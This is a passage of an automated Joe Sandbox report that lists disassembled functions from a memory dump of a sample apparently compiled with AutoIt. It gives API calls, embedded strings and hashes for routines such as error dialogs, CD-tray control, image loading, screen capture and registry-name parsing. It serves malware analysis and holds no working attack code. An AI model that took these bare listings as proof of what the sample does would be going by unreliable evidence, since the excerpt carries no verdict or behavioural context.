Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: a70d8dbccba5797cc05b21f5d2d0af7cda9917e40c395cc21c3a6b7c444ed627
Instruction ID: 23b3058b6a9e51d53c8d3326690ddf2a6a031ebb26badd54874508ab0f07f9f2
Opcode Fuzzy Hash: a70d8dbccba5797cc05b21f5d2d0af7cda9917e40c395cc21c3a6b7c444ed627
Instruction Fuzzy Hash: C5616BB25043459FCB10EF64D8449AEB7E9FF89314F04492EF989C7251DB31EA45CB92

Function 00639C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00639C7F

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00639CA0
__swprintf.LIBCMT ref: 00639CF9
__swprintf.LIBCMT ref: 00639D12
_wprintf.LIBCMT ref: 00639DB9
_wprintf.LIBCMT ref: 00639DD7

Strings

Line %d (File "%s"):, xrefs: 00639CF3, 00639D0C
"%s" (%d) : ==> %s:, xrefs: 00639DD2
^ ERROR , xrefs: 00639D4E
Incorrect parameters to object property !, xrefs: 00639D5B
Error: , xrefs: 00639D81
"%s" (%d) : ==> %s:%s%s, xrefs: 00639DB4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: e106979b54c76e79e7280f86b6977a5e2250989b9365ec48ee5485f20ff416dc
Instruction ID: e7369eb8427c693c7f0e190cc3c50114c4b9140c6954469c77e161e2a8b58077
Opcode Fuzzy Hash: e106979b54c76e79e7280f86b6977a5e2250989b9365ec48ee5485f20ff416dc
Instruction Fuzzy Hash: 9F51603190050AAADF25FBA4DD4ADEEBB7ABF58300F500167B505722A1EB712F59CF60

Function 0063A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

CharLowerBuffW.USER32(?,?), ref: 0063A3CB
GetDriveTypeW.KERNEL32 ref: 0063A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0063A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0063A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0063A4C5

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

Strings

close, xrefs: 0063A3D1
close cd wait, xrefs: 0063A4B0
open, xrefs: 0063A3F2
open , xrefs: 0063A427
closed, xrefs: 0063A3DF, 0063A3E8
wait, xrefs: 0063A482
set cd door , xrefs: 0063A466
type cdaudio alias cd wait, xrefs: 0063A443

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 9671668e0035f0ef2043a39cdfaad15df148287580b51c80ed6d3408b1fc5b39
Instruction ID: b20a0646003e5fce5519d8102d621ad0ab08c1e8f718c60b45dae2244ebaf93f
Opcode Fuzzy Hash: 9671668e0035f0ef2043a39cdfaad15df148287580b51c80ed6d3408b1fc5b39
Instruction Fuzzy Hash: 34516F711043059FC710EF24C99586ABBE5FF88718F40496EF885973A2EB31ED09CB82

Function 0062F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0060E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0062F8DF
LoadStringW.USER32(00000000,?,0060E029,00000001), ref: 0062F8E8

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0060E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0062F90A
LoadStringW.USER32(00000000,?,0060E029,00000001), ref: 0062F90D
__swprintf.LIBCMT ref: 0062F95D
__swprintf.LIBCMT ref: 0062F96E
_wprintf.LIBCMT ref: 0062FA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0062FA2E

Strings

Line %d (File "%s"):, xrefs: 0062F957
Line %d:, xrefs: 0062F968
Error: , xrefs: 0062F9E5
%s (%d) : ==> %s: %s %s, xrefs: 0062FA12
^ ERROR, xrefs: 0062F9C3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 8603cb31da6a15832a4d330f7a5a78b0b45a220eb977e4f0f52b8a4606e3002f
Instruction ID: 671a2972590946776f17be4d99a706c4f07b97533d6f0e8c6bf8bdce1bb4a507
Opcode Fuzzy Hash: 8603cb31da6a15832a4d330f7a5a78b0b45a220eb977e4f0f52b8a4606e3002f
Instruction Fuzzy Hash: 0541407280061EAACF14FBE4DD5ADEE7B79BF58300F500067B505B61A1EA315F49CB60

Function 0065BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00659207,?,?), ref: 0065BA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BA78
CloseHandle.KERNEL32(00000000,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BA85
GlobalLock.KERNEL32(00000000), ref: 0065BA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BA9D
GlobalUnlock.KERNEL32(00000000), ref: 0065BAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00659207,?,?,00000000,?), ref: 0065BABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,00662CAC,?), ref: 0065BAD7
GlobalFree.KERNEL32(00000000), ref: 0065BAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 0065BB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0065BB36
DeleteObject.GDI32(00000000), ref: 0065BB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0065BB74

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 87a873d3aafd19d4f3356e81f0a0c33442f4fb0d92dd22af3197bc594bf59ead
Instruction ID: db50a065247e679ca5a796ea2516a58a45f7238f57ff48aae60df971526e17d5
Opcode Fuzzy Hash: 87a873d3aafd19d4f3356e81f0a0c33442f4fb0d92dd22af3197bc594bf59ead
Instruction Fuzzy Hash: 86411875600209EFDB11DFA5DC88EABBBBAFB89712F105068F905D7260DB709E05CB60

Function 0063D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0063DA10
_wcscat.LIBCMT ref: 0063DA28
_wcscat.LIBCMT ref: 0063DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0063DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0063DA63
GetFileAttributesW.KERNEL32(?), ref: 0063DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0063DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0063DAA7

Strings

*.*, xrefs: 0063DAE6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 6102dbc3514ed5c7a75478f8167e20d994d4dcef1dae997e71b85d1516ee67aa
Instruction ID: 08d4c7d5ecd100ca12797a35b4d4b2911f50e635f6a22d2ca56d81384300d0a9
Opcode Fuzzy Hash: 6102dbc3514ed5c7a75478f8167e20d994d4dcef1dae997e71b85d1516ee67aa
Instruction Fuzzy Hash: 438193B15043459FCB24EF68D844AAAB7EABF89714F14482EF889C7391E730DD45CB92

Function 0065C1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0065C1FC
GetFocus.USER32 ref: 0065C20C
GetDlgCtrlID.USER32(00000000), ref: 0065C217
_memset.LIBCMT ref: 0065C342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0065C36D
GetMenuItemCount.USER32(?), ref: 0065C38D
GetMenuItemID.USER32(?,00000000), ref: 0065C3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0065C3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0065C41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0065C454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0065C489

Strings

0, xrefs: 0065C33A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 3f394ceb630298a946cf1a9f317e9be9fc4b46c797d9a484c5e8867f7d06454b
Instruction ID: 810710795ec4b38d94e11b0e0fd1e698fedb26e2331d2eb62de1981fc48666a2
Opcode Fuzzy Hash: 3f394ceb630298a946cf1a9f317e9be9fc4b46c797d9a484c5e8867f7d06454b
Instruction Fuzzy Hash: 28819B702083059FDB11DF14C894EABBBEAFB88725F00492EFD9597291D770D909CBA2

Function 0064731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0064738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0064739B
CreateCompatibleDC.GDI32(?), ref: 006473A7
SelectObject.GDI32(00000000,?), ref: 006473B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00647408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00647444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00647468
SelectObject.GDI32(00000006,?), ref: 00647470
DeleteObject.GDI32(?), ref: 00647479
DeleteDC.GDI32(00000006), ref: 00647480
ReleaseDC.USER32(00000000,?), ref: 0064748B

Strings

(, xrefs: 00647410

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: e77adfe5b4c76078172d06e3ed90e498123aa5d3c9878174b1ae93f9e54f983b
Instruction ID: 452093d4cdaad310b17ec21b00c1146930a9fbb521e3cd12e31e50fa9c6e3076
Opcode Fuzzy Hash: e77adfe5b4c76078172d06e3ed90e498123aa5d3c9878174b1ae93f9e54f983b
Instruction Fuzzy Hash: C1513775904309EFCB15CFA8CC85EAEBBBAEF48310F14842DFA5A97251D771A9418B60

Function 005D6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 005F0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,005D6B0C,?,00008000), ref: 005F0973

Part of subcall function 005D4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005D4743,?,?,005D37AE,?), ref: 005D4770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 005D6BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 005D6CFA

Part of subcall function 005D586D: _wcscpy.LIBCMT ref: 005D58A5

Part of subcall function 005F363D: _iswctype.LIBCMT ref: 005F3645

Strings

Unterminated string, xrefs: 0060E7E4
Error opening the file, xrefs: 0060E43D, 0060E4B8
EA06, xrefs: 0060E452
>>>AUTOIT SCRIPT<<<, xrefs: 0060E496
AU3!, xrefs: 005D6B61
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0060E421
Bad directive syntax error, xrefs: 0060E79D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 7143e9e811f454149283a0636adcfdd2cc158207e69fd6cbb4b38ea86b9a0ab7
Instruction ID: fb950898265d1b14c118b4dceed6e5de9baf7f931b5dc5afca3f23bd3fe07aba
Opcode Fuzzy Hash: 7143e9e811f454149283a0636adcfdd2cc158207e69fd6cbb4b38ea86b9a0ab7
Instruction Fuzzy Hash: 8A027A301083429FC724EF28D8959AFBBE6BFD8314F14491EF495972A2EB31D949CB52

Function 00632D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00632D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00632DDD
GetMenuItemCount.USER32(00695890), ref: 00632E66
DeleteMenu.USER32(00695890,00000005,00000000,000000F5,?,?), ref: 00632EF6
DeleteMenu.USER32(00695890,00000004,00000000), ref: 00632EFE
DeleteMenu.USER32(00695890,00000006,00000000), ref: 00632F06
DeleteMenu.USER32(00695890,00000003,00000000), ref: 00632F0E
GetMenuItemCount.USER32(00695890), ref: 00632F16
SetMenuItemInfoW.USER32(00695890,00000004,00000000,00000030), ref: 00632F4C
GetCursorPos.USER32(?), ref: 00632F56
SetForegroundWindow.USER32(00000000), ref: 00632F5F
TrackPopupMenuEx.USER32(00695890,00000000,?,00000000,00000000,00000000), ref: 00632F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00632F7E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 6615474388c5b0b9c4aeb0f2dae5c49249a80e2287ceb19e5c6e396023df4b65
Instruction ID: a31ceada3240edda40a534b8d3c5b77177bd101c220f9a686bc3d3de88a7211a
Opcode Fuzzy Hash: 6615474388c5b0b9c4aeb0f2dae5c49249a80e2287ceb19e5c6e396023df4b65
Instruction Fuzzy Hash: 4671D370640207BAEB219F54DC6AFEABF66FF04724F10421AF625AA2E1C7716C50DBD4

Function 006488AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006488D7
CoInitialize.OLE32(00000000), ref: 00648904
CoUninitialize.OLE32 ref: 0064890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00648A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00648B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00662C0C), ref: 00648B6F
CoGetObject.OLE32(?,00000000,00662C0C,?), ref: 00648B92
SetErrorMode.KERNEL32(00000000), ref: 00648BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00648C25
VariantClear.OLEAUT32(?), ref: 00648C35

Strings

,,f, xrefs: 006488C1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,f
API String ID: 2395222682-1408682325
Opcode ID: 96cd92438012de02154f642dd9010985d5b748f5b1995b8f87db31bd427e24b8
Instruction ID: 4f37b61a1e62c47c7cd99f7d721a82999a4a739d7d85ca4db147a317dfac21dd
Opcode Fuzzy Hash: 96cd92438012de02154f642dd9010985d5b748f5b1995b8f87db31bd427e24b8
Instruction Fuzzy Hash: 99C126B1608305AFC700DF68C88496BBBEAFF89348F00495DF9899B251DB71ED06CB52

Function 00650E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0064FDAD,?,?), ref: 00650E31

Strings

HKEY_CLASSES_ROOT, xrefs: 00650EC4
HKEY_LOCAL_MACHINE, xrefs: 00650E9A
HKCU, xrefs: 00650F21
HKEY_CURRENT_CONFIG, xrefs: 00650EEE
HKCC, xrefs: 00650EFF
HKCR, xrefs: 00650ED9
HKU, xrefs: 00650F43
HKLM, xrefs: 00650EAF
HKEY_USERS, xrefs: 00650F32
HKEY_CURRENT_USER, xrefs: 00650F10

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 952e3b532ce5473a64e302980cff4dbb63ef6b2af21b35700f50018eb965f426
Instruction ID: 34184f4cb2f1c4713a64aa2c0facfdbc89e3a235ba86d297b2f2ce5141c2f75d
Opcode Fuzzy Hash: 952e3b532ce5473a64e302980cff4dbb63ef6b2af21b35700f50018eb965f426
Instruction Fuzzy Hash: 99416A3110024A8BEF20EF15D96AAFE3BA6BF55305F184455FC951B392DB34DD1ACBA0

Function 0062F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,0060E2A0,00000010,?,Bad directive syntax error,0065F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0062F7C2
LoadStringW.USER32(00000000,?,0060E2A0,00000010), ref: 0062F7C9

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

_wprintf.LIBCMT ref: 0062F7FC
__swprintf.LIBCMT ref: 0062F81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0062F88D

Strings

Line %d (File "%s"):, xrefs: 0062F833
Line %d:, xrefs: 0062F818
., xrefs: 0062F873
Error: , xrefs: 0062F85B
%s (%d) : ==> %s.: %s %s, xrefs: 0062F7F7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 638033e343eb33af8bbdaf35563a3088cdf75ee552acac34adc9856d0ec6c926
Instruction ID: 94e91c38b9155a77b6548d4924118442b5f2eaa4b947ab347e380758b0d9f8fc
Opcode Fuzzy Hash: 638033e343eb33af8bbdaf35563a3088cdf75ee552acac34adc9856d0ec6c926
Instruction Fuzzy Hash: 53216D3295061EAFCF21EF94CC1AEEE7B3ABF18300F040466B515661A1EA759A18DB50

Function 006352C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

Part of subcall function 005D7924: _memmove.LIBCMT ref: 005D79AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00635330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00635346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00635357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00635369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0063537A

Strings

play PlayMe, xrefs: 00635375
status PlayMe mode, xrefs: 0063532B
play PlayMe wait, xrefs: 00635364
close PlayMe, xrefs: 00635341, 0063536E
open , xrefs: 006352DF
alias PlayMe, xrefs: 00635309

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

